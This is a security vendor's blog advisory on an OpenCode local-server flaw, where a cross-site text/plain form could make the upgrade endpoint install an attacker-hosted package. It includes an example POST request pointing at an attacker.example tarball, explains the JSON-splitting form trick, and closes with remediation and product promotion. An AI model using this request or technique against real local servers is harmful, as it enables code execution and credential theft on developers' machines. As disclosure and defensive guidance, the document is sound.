Get a demo — 30 minutes →
← Back to blog
Anomity robot illustrating OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4
AdvisoryHigh

OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4

AI Agent & CLI Security·High·GHSA-632h-h47v-g4x4 (CVSS 7.5, no CVE)·
Affected opencode-ai 1.14.30 through 1.18.21 when running `opencode serve` from an npm, pnpm or Bun install; fixed in 1.18.22

On September 24, 2026, the OpenCode project published GHSA-632h-h47v-g4x4, a flaw reported by Datadog Security Labs that let any web page make OpenCode's local server install an attacker's package. It is rated CVSS 7.5 and has no CVE. The fix is in OpenCode 1.18.22.

It arrives in the same month as a run of DNS-rebinding bugs in local MCP servers, covered in why local MCP HTTP keeps falling to DNS rebinding. OpenCode belongs to the same family, local AI tooling that trusts whatever reaches it, but takes a different and simpler route in.

What happened

opencode serve runs a local HTTP server, by default on 127.0.0.1:4096. One endpoint, /global/upgrade, lets OpenCode update itself to a target version. On npm, pnpm and Bun installs, the backend hands that target to the package manager, which runs the equivalent of npm install -g opencode-ai@<target>. npm package specifiers can be a URL to a remote tarball, so the target can be any package the attacker hosts, including a copy of OpenCode with a malicious preinstall script.

Two further details made it reachable from the web. The endpoint did not check the request's Origin. And it parsed a text/plain request body as JSON. Browsers will submit a cross-site HTML form as text/plain but never as application/json, so that one parsing decision is what let a plain form carry the payload. A hidden field split across its name and value produces a body that is valid JSON:

POST /global/upgrade HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: text/plain
Origin: http://attacker.example
Sec-Fetch-Mode: navigate

{"target":"http://attacker.example/opencode-malicious.tgz","x":"="}

The developer only has to load the page while opencode serve is running. OpenCode installs the attacker's package and the lifecycle script runs with the developer's permissions: source code, cloud CLI sessions, SSH keys and whatever tokens sit in the environment.

Why browser protections did not stop it

Modern browsers restrict what a page can do to local addresses, but those protections are aimed at script requests. A form submission is a top-level navigation, and CORS and Local Network Access controls do not apply to it. The attacker never needs to read the response, so the same-origin policy is irrelevant. The advisory notes the technique works in current Chrome.

The password option did not close the gap either. OPENCODE_SERVER_PASSWORD blocks unauthenticated requests, but a browser that has authenticated to the server once caches the HTTP Basic credentials and attaches them to the attacker's cross-site navigation. Credentials a browser sends automatically are not proof that the user meant to send this request.

Same family as the MCP DNS-rebinding bugs, different road

OpenCode (GHSA-632h-h47v-g4x4)MySQL MCP Server (CVE-2026-59971)
How the browser reaches localhostCross-site text/plain form navigationDNS rebinding, or direct network exposure
Missing server checkOrigin validation; content type; unrestricted package targetHost and Origin allowlists; any authentication
Needs the attacker to read responsesNoYes, for interactive SQL
ImpactCode execution through a package lifecycle scriptArbitrary SQL; file read and write with the FILE privilege
Fixed in1.18.220.4.2

The MySQL case is covered in detail in our CVE-2026-59971 advisory, and the GitLab equivalent in GitLab MCP CVE-2026-61568. The lesson they share with OpenCode is the one behind the older MCP Inspector browser-driven RCE: a port bound to 127.0.0.1 is private from the network, not from the browser on the same machine. The defenses differ by technique, but the principle does not: validate Origin, accept only the content type the endpoint expects, and require authentication a browser will not attach on its own.

How Anomity surfaces and governs it

First, find the servers. The Endpoint Sensor inventories coding agents, CLIs and MCP servers on every managed endpoint, with versions. An npm-installed OpenCode below 1.18.22 shows up as a named machine with a named version, which is the list a patch campaign needs and which no network scan of localhost can produce.

Second, see what a compromise would reach. The sensor inventories secrets on the endpoint using 162 credential patterns, with values redacted before anything leaves the machine. A lifecycle script running as the developer reaches everything in that inventory.

Third, keep the record. Inventory changes and findings land in a 90-day audit trail and route to SIEM, Slack, email or Jira. Anomity complements EDR here rather than replacing it: EDR sees a package manager spawn a script, and Anomity tells you which AI tool on that machine opened the door.

What to check across your fleet

  • Upgrade OpenCode to 1.18.22 or later wherever it is installed through npm, pnpm or Bun, and restart running opencode serve processes.
  • On machines that ran the server, look for unexpected global package installs and lifecycle-script execution.
  • Keep OPENCODE_SERVER_PASSWORD set and the server bound to localhost, as defense in depth rather than as the fix.
  • Inventory the other local servers developers run for AI tooling, MCP servers in SSE or HTTP mode included, and confirm each validates Origin and requires real authentication.
  • Treat any local AI server without real authentication as reachable by every website the developer opens.

GHSA-632h-h47v-g4x4 needed no sophisticated attacker, only a developer with a browser and a local server that trusted it. For the broader controls around coding agents on endpoints, see securing AI coding agents and CLIs. To find the local AI servers running across your endpoints, book a 30-minute demo.

Frequently asked questions

Am I affected by GHSA-632h-h47v-g4x4?

You are affected if someone runs opencode serve on OpenCode 1.14.30 through 1.18.21 and installed OpenCode through npm, pnpm or Bun. The standalone CLI upgrade command is not a cross-origin attack surface, users who never run opencode serve are not exposed to this path, and installs through curl, Homebrew, Chocolatey or Scoop do not interpret the target as an alternate npm package. The hard part is knowing which developers run the server at all, because it is started by hand rather than deployed by IT.

How could a web page reach a server on localhost?

Browsers stop scripts on one origin from reading responses from another, and newer protections restrict script requests to local addresses. But a top-level HTML form submission is a navigation, not a script fetch, and those protections do not apply to it. The browser sends the request to 127.0.0.1:4096 even though the page came from the internet. The server is the only place the request can be refused, by checking the Origin header and requiring real authentication.

How is this different from the DNS rebinding attacks on MCP servers?

It reaches the same place by a different road. DNS rebinding, as in the MySQL MCP Server and GitLab MCP advisories from September, re-points an attacker's domain at 127.0.0.1 so the browser treats the local server as same-origin; the fix is Host and Origin allowlists. The OpenCode route needs no DNS trickery at all: a cross-site form navigation is sent to localhost directly, and the attacker never needs to read the response. Both are defeated by the same server-side discipline: validate Origin, require authentication that a browser will not attach on its own, and do not accept a content type the endpoint was not designed for.

Why did the text/plain content type matter?

Browsers will submit a cross-site HTML form as text/plain, but not as application/json. OpenCode parsed the text/plain body as JSON anyway. By splitting a JSON object across a hidden form field's name and value, the attacker makes the submitted body valid JSON, so the endpoint accepts it. An endpoint that rejected anything other than application/json would have forced the request through a CORS preflight that a cross-site page could not pass.

We set OPENCODE_SERVER_PASSWORD. Were we protected?

Only partly. The password stops unauthenticated requests. But per the advisory, once a user has authenticated to the OpenCode server in their browser, the browser caches the HTTP Basic credentials and attaches them to the attacker's cross-site form navigation. Upgrading to 1.18.22 is the fix. The password and a localhost-only bind remain worth having, as defense in depth.

What should we do now?

Upgrade OpenCode to 1.18.22 or later on every machine where it is installed through npm, pnpm or Bun, and restart running opencode serve processes so the old server is not left listening. Check machines that ran the server for unexpected global package installs and lifecycle-script execution. Then look wider: inventory the other local servers developers run for AI tooling, because the same assumption that localhost is private keeps producing the same class of bug.

How does Anomity help with this?

The Endpoint Sensor inventories coding agents, CLIs and MCP servers on every managed endpoint with their versions, which is how you find the developers running an npm-installed OpenCode below 1.18.22. It also inventories secrets in those environments using 162 credential patterns, with values redacted on the endpoint, so you can see what a compromised developer session would expose. Findings route to SIEM, Slack, email or Jira, and inventory changes land in a 90-day audit trail. EDR sees a package manager spawn a script; Anomity tells you which AI tool on that machine made it possible.

Ask AI about Anomity
ChatGPT Claude Perplexity Google AI Grok